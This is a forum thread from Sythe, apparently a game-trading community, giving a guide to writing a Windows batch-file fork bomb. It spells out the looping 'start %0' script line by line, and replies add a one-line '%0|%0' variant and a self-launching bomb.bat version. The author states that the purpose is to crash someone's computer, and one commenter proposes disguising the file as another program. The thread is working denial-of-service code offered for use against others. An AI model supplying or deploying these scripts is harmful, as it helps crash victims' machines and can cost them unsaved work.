• Log in or sign up for an account here: https://www.sythe.org/login

How to create a fork bomb.

b0b3rt

Apprentice

$5 USD Donor
Joined
Aug 3, 2008
Sythe Gold
0
Messages
974
There is a noticeable lack of fork-bomb guides on sythe, so I thought I'd make a guide. This guide only works on Windows operating systems.
A fork bomb is a program that will open itself forever, with every instance of it opening another one, generally causing a computer to crash quickly.

How to Make a Fork Bomb​

Step 1:
Open notepad, and type in the following:
guide2pic1.png


Explanation of each line of code:
Code:
@echo off
This is not strictly necessary, but it prevents the command window from printing each other line of code that it executes.
Code:
:begin
This is basically a pointer (not the same as a pointer in Object Oriented programming).
Code:
start %0
Starts another instance of the program.
Code:
goto begin
Goes to the :begin pointer, causing an infinite loop.

Step 2:
Save the file. In save settings, change the "Save as type" from .txt to All files and name the program yourfilename.bat.
guide2pic2.png


That's it!
Have fun.
 
Nice stuff.

Just to point out, Id take the dot off the end of the sentence you use with the file name, some retard will probably try to save the file as yourfilename.bat. and not yourfilename.bat
 
If they fail that hard it's probably better for them not to have made it XD
 
<3 n4n0
Discord Verified
Two Factor Authentication User
Community Participant
Spam Forum Participant
Sythe's 10th Anniversary
Sythe Awards 2011 Winner
This guide is horribly short and uninteresting. All it contains is the code to make a bat window open constantly. You need to add more substance to the code and explain what you are doing.

You also may not to explain how this could be a good prank to pull on a friend because how it is right now it looks very malicious. You could add in how to disguise it as another program and such.
 
Why does the code need more substance? It's a fork bomb, it does what it does.
I'll go ahead and explain the 4 lines of code, I guess, though other guides don't necessarily explain their steps.

You also may not to explain how this could be a good prank to pull on a friend because how it is right now it looks very malicious.

Nowhere do I say that this should be used as a prank on somebodies friend. I explain in the second sentence that the purpose is to easily crash someone's computer.
There are no free options for disguising bat files, so I decided to skip that step. Any antivirus worth the name will identify programs that have double extensions.
 
You could expand upon that with different methods for achieving the same task, which I'm assuming in this case is just causing an infinite loop.

Here is a much smaller piece of code to accomplish a similar task.

Code:
%0|%0

Simply save that as a .bat and watch it run.

It essentially is a process calling on itself which is calling on itself, and I think you get the point.
 
Yes, I know, but I figured this would be easier to understand/explain.

Thanks anyways =)
 
Thanks For this b0b, Im currently studying programming and its a challenging process, but the more knowledge we gain the more we learn, as a result of this guide I have learnt something:) thanks.
 
No problem!

I wouldn't consider this programming so much as being a script kiddie but most of us started there ^.^
 
&#1085;&#945;&#967;;6612655 said:
@echo on
start bomb.bat
@echo off


Save it as "bomb.bat".

Hardcoding is pro.
Also looping makes it crash faster, obviously. =P
 
Runescape Gamblingrunescape gambling
Back
Top